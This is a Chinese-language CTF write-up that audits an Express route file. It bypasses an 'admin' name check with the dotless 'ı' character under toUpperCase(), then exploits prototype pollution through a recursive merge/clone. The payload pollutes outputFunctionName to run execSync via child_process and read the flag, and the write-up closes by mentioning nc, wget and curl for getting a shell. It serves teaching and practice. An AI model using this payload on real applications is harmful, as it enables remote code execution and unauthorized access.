目录
JavaScript 原型链与原型链污染
Undefsafe 模块原型链污染(CVE-2019-10795)
js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点
切记一定要让其__proto__解析为一个键名
静下心来,慢慢思考。
扫描目录可得www.zip,进行代码审计 routes 下的 index.js文件:
- var express = require('express');
- var router = express.Router();
- const isObject = obj => obj && obj.constructor && obj.constructor === Object;
- const merge = (a, b) => { //用了危险函数 merge
- for (var attr in b) {
- if (isObject(a[attr]) && isObject(b[attr])) {
- merge(a[attr], b[attr]);
- } else {
- a[attr] = b[attr];
- }
- }
- return a
- }
- const clone = (a) => {
- return merge({}, a);
- }
- function safeKeyword(keyword) {
- if(keyword.match(/(admin)/is)) {
- return keyword
- }
-
- return undefined
- }
- //路由
-
- router.get('/', function (req, res) {
- if(!req.session.user){ //没登录 返回到login
- res.redirect('/login');
- }
- res.outputFunctionName=undefined; //outputFunctionName=undefined
- res.render('index',data={'user':req.session.user.user}); //渲染
- });
-
-
- router.get('/login', function (req, res) {
- res.render('login');
- });
-
-
-
- router.post('/login', function (req, res) { //注册
- if(req.body.Submit=="register"){
- if(safeKeyword(req.body.userid)){ //调用safekeyword 名字不能为admin 否则 forbidword
- res.end("")
- }
- req.session.user={
- 'user':req.body.userid.toUpperCase(), //id变为大写
- 'passwd': req.body.pwd,
- 'isLogin':false
- }
- res.redirect('/');
- }
- else if(req.body.Submit=="login"){ //检测登录
- if(!req.session.user){res.end("")}
- if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
- req.session.user.isLogin=true;
- }
- else{
- res.end("")
- }
-
- }
- res.redirect('/'); ;
- });
- router.post('/action', function (req, res) { //只有 admin 才能使用 clone 功能
- if(req.session.user.user!="ADMIN"){res.end("")}
- req.session.user.data = clone(req.body);
- res.end("");
- });
- router.get('/info', function (req, res) {
- res.render('index',data={'user':res.outputFunctionName}); //原型链污染点
- })
- module.exports = router;
源码中 用了 merge() 和clone() ,那必定是原型链污染了,往下找到 clone()的位置:
- router.post('/action', function (req, res) { // /action路由只能admin用户访问
- if(req.session.user.user!="ADMIN"){res.end("")}
- req.session.user.data = clone(req.body); // 使用了之前定义的危险的merge操作
- //主要就是实现克隆出一个对象出来,这里克隆的是我们的请求体,使其等于user.data,那就可以在该页面下POST数据给outputFunctionName赋值从而执行命令。
- res.end("");
- });
可见,如果我们登上admin 后,便可以发送post 数据来进行原型链污染,但是要污染那个参数?
我们继续向下看到 /info 路由:
- router.get('/info', function (req, res) {
- res.render('index',data={'user':res.outputFunctionName});
- })
可以看到 在/info下,将res 对象中的 outputFunctionName 属性 渲染入了 index 中 。
而 outputFunctionName 是没有定义的。
res.outputFunctionName=undefined;
但是需要admin 账号才能用到 clone () 于是我们去 /login 路由中看看
首先题目要求我们必须是ADMIN
/login:
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){ // 注册的用户的userid不能是admin
res.end("")
}
req.session.user={
'user':req.body.userid.toUpperCase(), // 变成大写
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("")
}
}
res.redirect('/'); ;
});
可以看到,注册的名字不能为 admin (大小写),不过有个地方注意下:
'user':req.body.userid.toUpperCase(),
这里把 user名 给转为大写了,是否考虑可以绕过?这种转编码的通常都很容易出问题,具体请参考 p 牛的文章 :《Fuzz中的javascript大小写特性 |离别歌 (leavesongs.com)》
我们可以注册一个 admın 此 admın 非admin 仔细看 i 。
特殊字符绕过:
toUpperCase()
我们可以在其中混入了两个奇特的字符”ı”、”ſ”。这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
toLowerCase()
这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.
登录admin成功后:
让我们输入自己最喜欢的语言,这里我们可以发送payload 进行原型链污染:
将 Content-Type 设为 application/json
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}f
访问 /info 路由得到flag
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。